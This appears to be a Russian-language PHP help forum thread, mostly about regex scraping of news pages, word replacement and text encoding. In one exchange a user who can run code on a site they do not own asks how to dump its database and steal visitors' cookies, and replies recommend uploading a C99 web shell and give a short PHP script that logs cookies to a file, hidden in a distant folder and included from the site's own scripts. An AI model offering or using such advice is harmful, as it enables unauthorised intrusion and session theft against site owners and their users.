Нанаркоманили тут, ппц) давайте ещё короче PHP: file_put_contents('1.txt', str_replace('MATCHED', '', file_get_contents('1.txt')));
Эй, уймитесь! Тоже мне тут - писькомерки в степени -1 ) Ответьте челу тому: как скопить папку на пхп?
Добрый верер.. Вопрос по регуляркам. Вот отсюда http://newsland.ru/News/Detail/id/314704/cat/65/ надо вырезать текст Пишу такую регулярку "#<div class=\"bodytext mt5\">(.*?)</div></div>#". Но не работает.. как можно по другому регулярку записать? что бы через preg_match грабился результат.
тебе модификатор s надо было добавить) PHP: preg_match('#<div class="bodytext mt5">(.+)</div>#s', $text, $out); print_r($out);
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
сайт не мой хз его пас на админку но могу выполнить любой скрипт а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
>>а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл) нету Для того, что бы сделать дамп базы нужны логин, пасс и имя базы. Если есть возможность залей шелл и будет тебе счастье.
1. http://www.openproj.ru/70/ - MySqlDumper + в шелле C99 от madnet есть функция дампа БД. 2. Политика браузера не позволит скопировать кукисы от чужих сайтов. Сохранять кукисы можно так: PHP: <?php $cook = implode(';',$_COOKIE); $fp = fopen('cookies.txt','at'); fputs($fp,$cook."\n"); fclose($fp); ?> Создай в какой-нибудь далекой папочке скрипт, и из чужих скриптов инклудь функцией include(путь до сохранялки);
не знаю регулярку пока...как минимизировать? PHP: $txt=str_ireplace(" ".$o." "," ".$s." ",$txt); $txt=str_ireplace(" ".$o.","," ".$s.",",$txt); $txt=str_ireplace(" ".$o."."," ".$s.".",$txt); $txt=str_ireplace(" ".$o."?"," ".$s."?",$txt); $txt=str_ireplace(" ".$o."!"," ".$s."!",$txt); $txt=str_ireplace(" ".$o.":"," ".$s.":",$txt);
насколько я понимаю код надо заменить слово в переменной $o на слово в переменной $s...только про символы не понял, зачем менять символ на тот же самый) не легче ли PHP: $txt = str_replace($o, $s, $txt); ну хотя это твоё дело) PHP: $o = 'жопа'; // Слово которое ищем $s = 'пезда'; // Слово на которое меняем // Текст $txt = 'траляля какой-то текст жопа: ещё там чёто'; $txt = preg_replace('#'.$o.'([\.,\?!:]*?)#i', $s.'\\1', $txt); echo $txt;
Граблю новости с сайта у которого кодировка utf-8. Все сграбил сохранил в файл txt , все это сохранилось на сервере, но сам сайт для которого грабилась новость работает на кодировке windows-1251 и поэтому на сайте при выводе новости одни иероглифы((( Как это можно исправить, сграбленный текст новости до сохранения в txt файл обрабатывать функцией convert_cyr_string ?